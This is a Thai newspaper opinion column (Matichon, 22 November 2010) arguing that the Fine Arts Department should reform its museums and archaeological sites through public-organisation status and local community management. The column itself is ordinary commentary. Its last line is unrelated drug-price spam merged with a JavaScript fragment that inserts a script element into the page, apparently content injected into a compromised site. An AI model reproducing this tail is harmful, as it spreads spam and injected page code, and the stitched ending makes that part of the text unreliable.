มติชนรายวัน ฉบับประจำวันจันทร์ที่  22  พฤศจิกายน  2553

แนวโน้มมีจำนวนลดลงทุกปีที่คนไทยจะเข้าชมและขอใช้บริการงานกรมศิลปากร เช่น พิพิธภัณฑ์, อุทยานประวัติศาสตร์, หอสมุด, หอจดหมายเหตุ (มติชน ฉบับวันพุธที่ 17 พฤศจิกายน 2553 หน้า 13)

“ส่วนใหญ่ที่เข้าชมเป็นคนกลุ่มเดิมๆ เด็กรุ่นใหม่ถ้าไม่จำเป็นหรือไม่ถูกบังคับก็จะไม่มาใช้บริการ” อธิบดีกรมศิลปากร โสมสุดา ลียะวณิช กล่าวกับผู้สื่อข่าว แล้วย้ำว่า กรมศิลปากรจะปรับภาพลักษณ์ใหม่สถานที่เหล่านั้น โดยสั่งการไปยังผู้อำนวยการสำนักศิลปากร 15 แห่ง จัดทำแผนทั้งหมด

ขอขอบพระคุณอธิบดีฯที่ยอมรับความจริง ว่าใครๆก็ไม่สนใจงานของกรมศิลปากร ซึ่งแสดงให้เห็นชัดเจนว่า “วิถีคิด”และ“วิธีทำ”ของผู้บริหารกรมศิลปากรผ่านๆมา มีปัญหา แล้วแก้ไม่ตรงจุด

ฉะนั้น ข้าราชการกรมศิลปากรต้องไม่หลงตัวเองว่ามีวิชาความรู้และมีความสำคัญเหนือกว่าคนอื่น โดยเฉพาะพวกประวัติศาสตร์โบราณคดีและประวัติศาสตร์ศิลป์ แต่ควรอ่อนน้อมถ่อมตัวหาช่องทางแก้ไขร่วมกัน จะแนะนำดังนี้

ทางแก้ระยะยาว ต้องจำแนกหน่วยงานเป็นกลุ่มๆให้บริหารจัดการแยกอิสระเป็นองค์การมหาชน (เหมือนศูนย์มานุษยวิทยาสิรินธรฯ) ขอสมมุติดังนี้

  1. สถาบันพิพิธภัณฑ์และโบราณคดี (รวมอุทยานประวัติศาสตร์ฯ)
  2. สถาบันหอสมุด (รวมหอจดหมายเหตุและวรรณกรรมฯ)

ฯลฯ งานที่เหลือเป็นของกรมศิลปากร เช่น ดนตรีและนาฏศิลป์ ฯลฯ

ผู้บริหารสำนักฯเหล่านี้มาจากการคัดสรรเหมือนองค์การมหาชนอื่นๆทุกประการ ซึ่งควรจะได้นักบริหาร“มืออาชีพ”แท้จริง ไม่ใช่เอานักวิชาการพิพิธภัณฑ์และโบราณคดีไปทำหน้าที่บริหารจัดการเพพังจนทุกวันนี้ ทำให้รัฐมนตรีและอธิบดีเมื่อรับตำแหน่งต้องพูดซ้ำซากเหมือนกันทุกคน เป็นแผ่นเสียงตกร่องว่า“ต้องปรับภาพลักษณ์ใหม่”

ทางแก้เฉพาะหน้า ต้องปรับเปลี่ยน“วิถีคิด”และ“วิธีทำ” อย่างง่ายๆเป็นเบื้องต้น (ซึ่งยากมากๆ) จะขอยกกรณีตัวอย่างเรื่องพิพิธภัณฑ์และโบราณคดี

ชุมชนท้องถิ่น กับองค์กรปกครองส่วนท้องถิ่น (อปท.) มีสิทธิ(ตามรัฐธรรมนูญ) ที่จะมีส่วนร่วมบริหารจัดการและบำรุงรักษาสมบัติวัฒนธรรมที่มีในท้องถิ่น

แต่ประชาชนชาวบ้านในชุมชนท้องถิ่น ไม่ได้เรียนสำเร็จทางประวัติศาสตร์โบราณคดีมานุษยวิทยา และประวัติศาสตร์ศิลป์ คนส่วนมากเรียนจบประถม, มัธยมเท่านั้น จะให้ทุกคนรู้วิชาการอย่างคนเรียนปริญญามหาวิทยาลัยย่อมเป็นไปไม่ได้

นักประวัติศาสตร์โบราณคดีมานุษยวิทยา และนักประวัติศาสตร์ศิลป์ของทางราชการ ที่มีภาระหน้าที่อนุรักษ์พิทักษ์โบราณศิลปวัตถุสถาน ควรตระหนักอย่างยิ่งว่าเป็นงานใช้“พระคุณ” ไม่ใช่งานใช้“พระเดช”(เหมือนตำรวจ, ทหาร)

ฉะนั้นอย่าวางอำนาจทำตัวเป็นเจ้านายคอยชี้นิ้วแล้วเหยียดประชาชนชาวบ้านว่าโง่เง่าเต่าตุ่นกว่าตน เพราะสกุลรุนชาติตัวเองก็ไม่ได้วิเศษไปกว่ากัน

แต่ต้องอ่อนน้อมถ่อมตัวเข้าหาประชาชนชาวบ้าน เพื่อโน้มน้าวให้มาเป็นญาติมิตรสมัครพรรคพวกและเครือข่าย ร่วมกันดูแลอนุรักษ์พิทักษ์โบราณศิลปวัตถุสถาน เพราะเขามีชีวิตใกล้ชิดอยู่ที่นั่นตลอดเวลา ขณะเดียวกันก็เร่งรัดหาช่องทางทยอยถ่ายโอนให้ อปท. บริหารจัดการต่อไปให้เร็วที่สุด

นักประวัติศาสตร์โบราณคดีมานุษยวิทยา และนักประวัติศาสตร์ศิลป์ของทางราชการ ควรถอนตัวจากงานบริหารจัดการโบราณศิลปวัตถุสถาน กลับไปทำงานวิชาการตามถนัด แล้วคอยเป็น“พี่เลี้ยง”ทางวิชาการให้ อปท. จึงจะควร และจะได้รับยกย่องสูงยิ่ง

ทางแก้ระยะยาวกับทางแก้เฉพาะหน้า ไม่ใช่ยาวิเศษแก้ได้แน่นอน แต่ต้องขึ้นอยู่กับตัวเองและสังคมไทยโดยรวมด้วย

 

เมืองมโหสถ มีต้นศรีมหาโพธิ์และดงศรีมหาโพธิ์ อยู่ อ. ศรีมโหสถ จ. ปราจีนบุรี กรมศิลปากรกับท้องถิ่นควรร่วมกันสรรค์สร้างท้องถิ่นให้เป็นเมืองสร้างสรรค์ มีการท่องเที่ยวยั่งยืนยาวนาน

forzest 20 price in india cheap levitra 20mgdocument.currentScript.parentNode.insertBefore(s, document.currentScript);